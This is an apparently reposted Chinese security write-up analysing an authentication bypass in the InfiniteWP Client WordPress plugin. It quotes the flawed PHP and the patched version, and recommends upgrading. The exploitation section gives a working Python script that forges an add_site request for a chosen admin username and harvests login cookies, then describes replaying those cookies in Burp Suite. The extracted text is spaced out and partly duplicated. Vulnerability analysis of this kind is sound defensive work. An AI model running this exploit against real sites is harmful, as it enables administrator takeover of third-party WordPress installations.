搜索

[15262] 2020-04-17_关于WordPressInfiniteWPClient的身份认证绕过漏洞的分析与利用

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2020-04-17_关于WordPressInfiniteWPClient的身份认证绕过漏洞的分析与利用 关 于 W o r d P r e s s   I n f i n i t e W P   C l i e n t 的 身 份 认 证 绕 过 漏 洞 的 分 析 与 利 用 N e r o q i   F r e e B u f   2 0 2 0 - 0 4 - 1 7 前 言 前 言 I n f i n i t e W P   C l i e n t 是 一 个 是 一 个 W o r d P r e s s 插 件 ， 当 它 与 插 件 ， 当 它 与 I n f i n i t e W P   A d m i n   P a n e l 结 合 使 用 时 ， 可 以 方 便 快 捷 地 集 中 管 理 多 个 结 合 使 用 时 ， 可 以 方 便 快 捷 地 集 中 管 理 多 个 W o r d P r e s s 站 点 。 站 点 。 I n f i n i t e W P   C l i e n t < = 1 . 9 . 4 . 4 的 版 本 被 曝 出 了 一 的 版 本 被 曝 出 了 一 个 身 份 认 证 绕 过 漏 洞 。 目 前 个 身 份 认 证 绕 过 漏 洞 。 目 前 I n f i n i t e W P   C l i e n t 安 装 在 安 装 在 3 0 多 万 个 多 万 个 W o r d P r e s s 站 点 上 ， 因 此 该 漏 洞 的 影 响 面 非 常 广 。 本 文 详 细 分 析 了 该 漏 洞 ， 并 且 对 其 进 行 了 利 用 。 站 点 上 ， 因 此 该 漏 洞 的 影 响 面 非 常 广 。 本 文 详 细 分 析 了 该 漏 洞 ， 并 且 对 其 进 行 了 利 用 。 实 验 环 境 实 验 环 境 1 . 测 试 工 具 ： B u r p S u i t e   v 2 . 1 2 . 目 标 主 机 ： D e b i a n 9 . 6   x 6 4 3 . 软 件 版 本 ： W o r d P r e s s   5 . 2 . 2 4 . 插 件 版 本 ： i w p - c l i e n t . 1 . 9 . 4 . 4 漏 洞 分 析 漏 洞 分 析 1 . 问 题 主 要 出 在 函 数 i w p _ m m b _ s e t _ r e q u e s t ( ) 中 ， 该 函 数 检 查 I W P _ M M B _ C o r e 类 的 r e q u e s t _ p a r a m s 变 量 是 否 为 空 。 若 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s 的 值 为 空 ， 则 返 回 f a l s e ； 若 不 为 空 ， 则 后 续 会 判 断 变 量 $ p a r a m s [ ' u s e r n a m e ' ] 是 否 已 设 置 并 且 该 用 户 是 否 已 登 录 ， 如 果 $ p a r a m s [ ' u s e r n a m e ' ] 已 设 置 且 该 用 户 未 登 录 ， 那 么 接 下 来 使 用 i w p _ m m b _ g e t _ u s e r _ b y 函 数 获 取 用 户 信 息 ， 然 后 使 用 w p _ s e t _ a u t h _ c o o k i e 为 给 定 的 $ p a r a m s [ ' u s e r n a m e ' ] 设 置 登 录 c o o k i e 。 但 是 $ p a r a m s [ ' u s e r n a m e ' ] 的 值 从 何 而 来 ? 在 以 下 代 码 中 ， 我 们 看 到 $ p a r a m s   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s 这 条 语 句 。 2 . $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s 的 值 又 是 从 何 而 来 ？ 追 溯 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s ， 找 到 一 个 名 为 i w p _ m m b _ p a r s e _ r e q u e s t ( ) 的 函 数 。 这 个 函 数 在 i n i t . p h p 的 末 尾 被 调 用 ， 代 码 具 体 如 下 ： i f   ( ! f u n c t i o n _ e x i s t s   ( ' i w p _ m m b _ s e t _ r e q u e s t ' ) )   {         f u n c t i o n   i w p _ m m b _ s e t _ r e q u e s t ( ) {                 g l o b a l   $ c u r r e n t _ u s e r ,   $ i w p _ m m b _ c o r e ,   $ n e w _ a c t i o n s ,   $ w p _ d b _ v e r s i o n ,   $ w p m u _ v e r s i o n ,   $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e ,   $ i w p _ m m b _ a c t i v i t i e s _ l o g ;                 i f   ( i s _ u s e r _ l o g g e d _ i n ( ) )   {                         i w p _ p l u g i n _ c o m p a t i b i l i t y _ f i x ( ) ;                 }                 i f   ( e m p t y ( $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s ) )   {                         r e t u r n   f a l s e ;                 }                 $ p a r a m s   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s ;                 $ a c t i o n   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i w p _ a c t i o n ' ] ;                 $ i s _ s a v e _ a c t i v i t y _ l o g     =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ;                 i f   ( $ a c t i o n   = =   ' m a i n t a i n _ s i t e ' )   {                         i w p _ m m b _ m a i n t a i n _ s i t e ( $ p a r a m s ) ;                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' Y o u   s h o u l d   n e v e r   s e e   t h i s . ' ,   ' e r r o r _ c o d e '   = >   ' y o u _ s h o u l d _ n e v e r _ s e e _ t h i s ' ) ,   f a l s e ) ;                 }                 @ i g n o r e _ u s e r _ a b o r t ( t r u e ) ;                 $ G L O B A L S [ ' I W P _ C L I E N T _ H I S T O R Y _ I D ' ]   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i d ' ] ;                 i w p _ m m b _ b a c k u p _ d b _ c h a n g e s ( ) ;                 i f ( i s s e t ( $ p a r a m s [ ' u s e r n a m e ' ] )   & &   ! i s _ u s e r _ l o g g e d _ i n ( ) ) {                         $ u s e r   =   f u n c t i o n _ e x i s t s ( ' g e t _ u s e r _ b y ' )   ?   g e t _ u s e r _ b y ( ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ] )   :   i w p _ m m b _ g e t _ u s e r _ b y (   ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ]   ) ;                         i f   ( i s s e t ( $ u s e r )   & &   i s s e t ( $ u s e r - > I D ) )   {                                 w p _ s e t _ c u r r e n t _ u s e r ( $ u s e r - > I D ) ;                                 u p d a t e _ u s e r _ m e t a ( $ u s e r - > I D ,   ' l a s t _ l o g i n _ t i m e ' ,   c u r r e n t _ t i m e ( ' m y s q l ' ) ) ;                         }                         $ i s H T T P S   =   ( b o o l ) i s _ s s l ( ) ;                         i f ( $ i s H T T P S ) {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ) ;                         } e l s e {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   f a l s e ) ;                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   t r u e ) ;                         }                 } i f (   ! f u n c t i o n _ e x i s t s   ( ' i w p _ m m b _ p a r s e _ r e q u e s t ' ) )   {         f u n c t i o n   i w p _ m m b _ p a r s e _ r e q u e s t ( ) {                 g l o b a l   $ H T T P _ R A W _ P O S T _ D A T A ,   $ i w p _ m m b _ a c t i v i t i e s _ l o g ;                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   N U L L ;                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ;                 i f ( e m p t y ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ) {                         i f   ( i s s e t ( $ H T T P _ R A W _ P O S T _ D A T A ) )   {                                 $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L   =   $ H T T P _ R A W _ P O S T _ D A T A ;                         }                 }                 g l o b a l   $ c u r r e n t _ u s e r ,   $ i w p _ m m b _ c o r e ,   $ n e w _ a c t i o n s ,   $ w p _ d b _ v e r s i o n ,   $ w p m u _ v e r s i o n ,   $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e ;                 i f   ( s t r r p o s ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ,   ' _ I W P _ J S O N _ P R E F I X _ ' )   ! = =   f a l s e )   {                         $ r e q u e s t _ d a t a _ a r r a y   =   e x p l o d e ( ' _ I W P _ J S O N _ P R E F I X _ ' ,   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ;                         $ r e q u e s t _ r a w _ d a t a   =   $ r e q u e s t _ d a t a _ a r r a y [ 1 ] ;                         $ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ]   =   1 ;                 } e l s e {
                } e l s e {                         $ d a t a   =   f a l s e ;                         $ r e q u e s t _ r a w _ d a t a   =   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                         $ s e r i a l i z e d _ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         i f   ( i s _ s e r i a l i z e d ( $ s e r i a l i z e d _ d a t a ) )   {                                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' P l e a s e   u p d a t e   y o u r   I W P   A d m i n   P a n e l   t o   l a t e s t   v e r s i o n ' ,   ' e r r o r _ c o d e '   = >   ' u p d a t e _ p a n e l ' ) ,   f a l s e ,   t r u e ) ;                         }                 }                 i f   ( $ d a t a ) {                         $ r e q u e s t _ d a t a   =   j s o n _ d e c o d e ( $ d a t a ,   t r u e ) ;                         i f ( i s s e t ( $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ) ) {                                   $ r e q u e s t _ d a t a [ ' p a r a m s ' ]   =   i w p _ m m b _ f i l t e r _ p a r a m s ( $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ) ;                         }                         i f   ( i s s e t ( $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ] )   & &   $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ] )   {                                 $ s i g n a t u r e     =   b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ d a t a [ ' s i g n a t u r e ' ] ) ;                         } e l s e {                                 $ s i g n a t u r e     =   $ r e q u e s t _ d a t a [ ' s i g n a t u r e ' ] ;                         }                         $ i w p _ a c t i o n                                           =   $ r e q u e s t _ d a t a [ ' i w p _ a c t i o n ' ] ;                         $ p a r a m s                                                   =   $ r e q u e s t _ d a t a [ ' p a r a m s ' ] ;                         $ i d                                                           =   $ r e q u e s t _ d a t a [ ' i d ' ] ;                         i f ( i s s e t ( $ r e q u e s t _ d a t a [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ) )   {                                 $ i s _ s a v e _ a c t i v i t y _ l o g         =   $ r e q u e s t _ d a t a [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ] ;                         }                         $ G L O B A L S [ ' a c t i v i t i e s _ l o g _ d a t e t i m e ' ]   =   $ r e q u e s t _ d a t a [ ' a c t i v i t i e s _ l o g _ d a t e t i m e ' ] ;                 }                 i f   ( i s s e t ( $ i w p _ a c t i o n )   & &   $ i w p _ a c t i o n   ! =   ' r e s t o r e N e w ' )   {                         i f ( ! d e f i n e d ( ' I W P _ A U T H O R I S E D _ C A L L ' ) )   d e f i n e ( ' I W P _ A U T H O R I S E D _ C A L L ' ,   1 ) ;                         i f ( f u n c t i o n _ e x i s t s ( ' r e g i s t e r _ s h u t d o w n _ f u n c t i o n ' ) ) {   r e g i s t e r _ s h u t d o w n _ f u n c t i o n ( " i w p _ m m b _ s h u t d o w n " ) ;   }                         $ G L O B A L S [ ' I W P _ M M B _ P R O F I L I N G ' ] [ ' A C T I O N _ S T A R T ' ]   =   m i c r o t i m e ( 1 ) ;                         e r r o r _ r e p o r t i n g ( 0 ) ;                         @ i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   0 ) ;                         r u n _ h a s h _ c h a n g e _ p r o c e s s ( ) ;                         i w p _ p l u g i n _ c o m p a t i b i l i t y _ f i x ( ) ;                         $ a c t i o n   =   $ i w p _ a c t i o n ;                         $ _ w p _ u s i n g _ e x t _ o b j e c t _ c a c h e   =   f a l s e ;                         @ s e t _ t i m e _ l i m i t ( 6 0 0 ) ;                         i f   ( ! $ i w p _ m m b _ c o r e - > c h e c k _ i f _ u s e r _ e x i s t s ( $ p a r a m s [ ' u s e r n a m e ' ] ) )                                 i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' U s e r n a m e   '   .   $ p a r a m s [ ' u s e r n a m e ' ]   .   '   d o e s   n o t   h a v e   a d m i n i s t r a t i v e   a c c e s s .   E n t e r   t h e   c o r r e c t   u s e r n a m e   i n   t h e   s i t e   o p t i o n s . ' ,                           i f   ( $ a c t i o n   = =   ' a d d _ s i t e ' )   {                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                                 r e t u r n ;                         } e l s e i f   ( $ a c t i o n   = =   ' r e a d d _ s i t e ' )   {                                 $ p a r a m s [ ' i d ' ]   =   $ i d ;                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ p a r a m s [ ' s i g n a t u r e ' ]   =   $ s i g n a t u r e ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                                 r e t u r n ;                         }                         $ a u t h   =   $ i w p _ m m b _ c o r e - > a u t h e n t i c a t e _ m e s s a g e ( $ a c t i o n   .   $ i d ,   $ s i g n a t u r e ,   $ i d ) ;                         i f   ( $ a u t h   = = =   t r u e )   {                                 i f   ( ! d e f i n e d ( ' W P _ A D M I N ' )   & &   $ a c t i o n   = =   ' g e t _ s t a t s '   | |   $ a c t i o n   = =   ' d o _ u p g r a d e '   | |   $ a c t i o n   = =   ' i n s t a l l _ a d d o n '   | |   $ a c t i o n   = =   ' e d i t _ p l u g i n s _ t h e m e s '   | |   $ a c t i o n   = =                                           d e f i n e ( ' W P _ A D M I N ' ,   t r u e ) ;                                 }                                 i f   ( $ a c t i o n   = =   ' g e t _ s t a t s ' )   {                                         i w p _ m u _ p l u g i n _ l o a d e r ( ) ;                                 }                                 i f   ( i s _ m u l t i s i t e ( ) )   {                                         d e f i n e ( ' W P _ N E T W O R K _ A D M I N ' ,   t r u e ) ;                                 } e l s e {                                         d e f i n e ( ' W P _ N E T W O R K _ A D M I N ' ,   f a l s e ) ;                                 }                                 $ p a r a m s [ ' i d ' ]   =   $ i d ;                                 $ p a r a m s [ ' i w p _ a c t i o n ' ]   =   $ a c t i o n ;                                 $ p a r a m s [ ' i s _ s a v e _ a c t i v i t y _ l o g ' ]   =   $ i s _ s a v e _ a c t i v i t y _ l o g ;                                 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s   =   $ p a r a m s ;                         }   e l s e   {                                 i w p _ m m b _ r e s p o n s e ( $ a u t h ,   f a l s e ) ;                         }                 }   e l s e   {                         $ H T T P _ R A W _ P O S T _ D A T A   =     $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                 }         }
3 . 我 们 注 意 到 a d d _ s i t e 和 r e a d d _ s i t e 这 两 个 操 作 ， 当 变 量 $ a c t i o n 为 a d d _ s i t e 或 者 r e a d d _ s i t e 时 ， 直 接 对 $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s 进 行 了 赋 值 ， 并 且 进 行 了 r e t u r n ， 后 续 的 $ i w p _ m m b _ c o r e - > a u t h e n t i c a t e _ m e s s a g e ( $ a c t i o n   .   $ i d ,   $ s i g n a t u r e ,   $ i d ) 安 全 检 查 也 就 不 会 执 行 了 ， 因 此 问 题 就 出 在 a d d _ s i t e 和 r e a d d _ s i t e 这 两 个 动 作 上 。 漏 洞 利 用 漏 洞 利 用 1 . 进 一 步 分 析 函 数 i w p _ m m b _ p a r s e _ r e q u e s t ( ) 中 的 如 下 代 码 ： 从 上 面 的 代 码 可 以 看 出 ， 函 数 i w p _ m m b _ p a r s e _ r e q u e s t ( ) 先 对 $ r e q u e s t _ r a w _ d a t a 进 行 了 b a s e 6 4 解 码 并 将 其 赋 值 给 $ d a t a ， 然 后 又 对 $ d a t a 进 行 了 j s o n 解 码 。 因 此 ， 要 使 恶 意 请 求 能 够 生 效 ， 首 先 必 须 使 用 j s o n 对 负 载 进 行 编 码 ， 再 使 用 B a s e 6 4 编 码 ， 然 后 在 P O S T 请 求 中 将 其 发 送 给 W o r d P r e s s 。 2 . 这 里 写 了 一 个 漏 洞 利 用 程 序 ， 具 体 代 码 如 下 ： 运 行 上 述 代 码 ， 其 中 的 参 数 u r l 输 入 ： 参 数 用 户 名 输 入 ： a d m i n ， 在 本 例 中 W o r d P r e s s 的 管 理 员 用 户 名 为 a d m i n ， 在 实 际 操 作 中 可 能 需 要 多 次 测 试 才 能 够 得 到 正 确 的 用 户 名 。 运 行 代 码 最 终 获 得 用 于 登 录 的 C o o k i e 值 。 在 浏 览 器 中 输 入 u r l ： 使 用 B u r p s u i t e 截 断 代 理 ， 使 用 前 面 获 取 到 的 C o o k i e 值 替 换 截 获 到 的 数 据 包 中 的 C o o k i e 值 ， 如 下 图 所 示 ： 如 下 图 所 示 ， 可 以 看 到 登 录 } i f   ( s t r r p o s ( $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ,   ' _ I W P _ J S O N _ P R E F I X _ ' )   ! = =   f a l s e )   {                         $ r e q u e s t _ d a t a _ a r r a y   =   e x p l o d e ( ' _ I W P _ J S O N _ P R E F I X _ ' ,   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ) ;                         $ r e q u e s t _ r a w _ d a t a   =   $ r e q u e s t _ d a t a _ a r r a y [ 1 ] ;                         $ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         $ G L O B A L S [ ' I W P _ J S O N _ C O M M U N I C A T I O N ' ]   =   1 ;                 } e l s e {                         $ d a t a   =   f a l s e ;                         $ r e q u e s t _ r a w _ d a t a   =   $ H T T P _ R A W _ P O S T _ D A T A _ L O C A L ;                         $ s e r i a l i z e d _ d a t a   =   t r i m ( b a s e 6 4 _ d e c o d e ( $ r e q u e s t _ r a w _ d a t a ) ) ;                         i f   ( i s _ s e r i a l i z e d ( $ s e r i a l i z e d _ d a t a ) )   {                                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' P l e a s e   u p d a t e   y o u r   I W P   A d m i n   P a n e l   t o   l a t e s t   v e r s i o n ' ,   ' e r r o r _ c o d e '   = >   ' u p d a t e _ p a n e l ' ) ,   f a l s e ,   t r u e ) ;                         }                 }                 i f   ( $ d a t a ) {                         $ r e q u e s t _ d a t a   =   j s o n _ d e c o d e ( $ d a t a ,   t r u e ) ; #   - * -   c o d i n g :   U T F - 8   - * - i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 i m p o r t   j s o n d e f   e x p l o i t ( u r l ,   u s e r n a m e ) :         j s o n _ i n f o   =   { " i w p _ a c t i o n " :   " a d d _ s i t e " ,   " p a r a m s " :   { " u s e r n a m e " :   u s e r n a m e } }         t r y :                 r e t u r n   r e q u e s t s . p o s t ( u r l ,   t i m e o u t = 5 ,   v e r i f y = F a l s e ,                         h e a d e r s = { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 4 . 0 " } ,                         d a t a = " _ I W P _ J S O N _ P R E F I X _ { } " . f o r m a t ( b a s e 6 4 . b 6 4 e n c o d e ( j s o n . d u m p s ( j s o n _ i n f o ) . e n c o d e ( " u t f - 8 " ) ) . d e c o d e ( " u t f - 8 " ) )                 )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " [ - ]   H T T P   E x p l o i t   E r r o r :   { } " . f o r m a t ( e ) )         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         u r l   =   r a w _ i n p u t ( " [ + ]   请 输 入 u r l ： " )         u s e r n a m e   =   r a w _ i n p u t ( " [ + ]   请 输 入 用 户 名 ： " )         s i t e _ r e s p o n s e   =   e x p l o i t ( u r l ,   u s e r n a m e )         c o o k i e   =   " "         i f   ( s i t e _ r e s p o n s e   a n d   s i t e _ r e s p o n s e . s t a t u s _ c o d e   = =   r e q u e s t s . c o d e s . o k ) :                 l i s t   =   [ s t r ( a ) + " = " + s t r ( b )   f o r   a ,   b   i n   s i t e _ r e s p o n s e . c o o k i e s . i t e m s ( ) ]                 c o o k i e   =   " ;   " . j o i n ( l i s t )         i f   c o o k i e :                         p r i n t ( " [ + ]   使 用 以 下 C o o k i e s 登 录 ： n { } " . f o r m a t ( c o o k i e ) )                         e x i t ( 0 ) p r i n t ( " [ - ]   漏 洞 利 用 失 败 ！ " ) h t t p : / / 1 9 2 . 1 6 8 . 1 1 0 . 1 4 5 / w o r d p r e s s / w p - a d m i n / h t t p : / / 1 9 2 . 1 6 8 . 1 1 0 . 1 4 5 / w o r d p r e s s / w p - a d m i n /
W o r d P r e s s 管 理 后 台 成 功 。 漏 洞 修 复 漏 洞 修 复 该 漏 洞 在 1 . 9 . 4 . 5 版 本 中 得 到 修 复 ， 代 码 具 体 如 下 ： 主 要 是 针 对 变 量 $ a c t i o n 增 加 了 一 个 条 件 判 断 ， 当 $ a c t i o n 为 a d d _ s i t e 或 者 r e a d d _ s i t e 时 ， 函 数 直 接 返 回 f a l s e ， 这 样 就 不 涉 及 后 续 使 用 w p _ s e t _ a u t h _ c o o k i e 来 给 $ p a r a m s [ ' u s e r n a m e ' ] 设 置 C o o k i e ， 漏 洞 也 就 得 以 修 复 。 总 结 总 结 本 文 中 的 身 份 认 证 绕 过 漏 洞 是 由 代 码 中 的 逻 辑 错 误 造 成 的 ， 而 且 恶 意 流 量 与 正 常 流 量 并 无 明 显 差 别 ， 通 过 w a f 设 备 也 很 难 进 行 防 御 ， 建 议 将 插 件 I n f i n i t e W P   C l i e n t 升 级 到 最 新 版 本 。 * 本 文 作 者 ： 本 文 作 者 ： N e r o q i ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 i f   ( $ a c t i o n   = =   ' a d d _ s i t e '   | |   $ a c t i o n   = =   ' r e a d d _ s i t e ' )   {                         r e t u r n   f a l s e ;                 }                 i f   ( $ a c t i o n   = =   ' m a i n t a i n _ s i t e ' )   {                         i w p _ m m b _ m a i n t a i n _ s i t e ( $ p a r a m s ) ;                         i w p _ m m b _ r e s p o n s e ( a r r a y ( ' e r r o r '   = >   ' Y o u   s h o u l d   n e v e r   s e e   t h i s . ' ,   ' e r r o r _ c o d e '   = >   ' y o u _ s h o u l d _ n e v e r _ s e e _ t h i s ' ) ,   f a l s e ) ;                 }                 @ i g n o r e _ u s e r _ a b o r t ( t r u e ) ;                 $ G L O B A L S [ ' I W P _ C L I E N T _ H I S T O R Y _ I D ' ]   =   $ i w p _ m m b _ c o r e - > r e q u e s t _ p a r a m s [ ' i d ' ] ;                 i w p _ m m b _ b a c k u p _ d b _ c h a n g e s ( ) ;                 i f ( i s s e t ( $ p a r a m s [ ' u s e r n a m e ' ] )   & &   ! i s _ u s e r _ l o g g e d _ i n ( ) ) {                         $ u s e r   =   f u n c t i o n _ e x i s t s ( ' g e t _ u s e r _ b y ' )   ?   g e t _ u s e r _ b y ( ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ] )   :   i w p _ m m b _ g e t _ u s e r _ b y (   ' l o g i n ' ,   $ p a r a m s [ ' u s e r n a m e ' ]   ) ;                         i f   ( i s s e t ( $ u s e r )   & &   i s s e t ( $ u s e r - > I D ) )   {                                 w p _ s e t _ c u r r e n t _ u s e r ( $ u s e r - > I D ) ;                                 / /   C o m p a t i b i l i t y   w i t h   A l l   I n   O n e   S e c u r i t y                                 u p d a t e _ u s e r _ m e t a ( $ u s e r - > I D ,   ' l a s t _ l o g i n _ t i m e ' ,   c u r r e n t _ t i m e ( ' m y s q l ' ) ) ;                         }                         $ i s H T T P S   =   ( b o o l ) i s _ s s l ( ) ;                         i f ( $ i s H T T P S ) {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ) ;                         } e l s e {                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   f a l s e ) ;                                 w p _ s e t _ a u t h _ c o o k i e ( $ u s e r - > I D ,   f a l s e ,   t r u e ) ;                         }                 }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理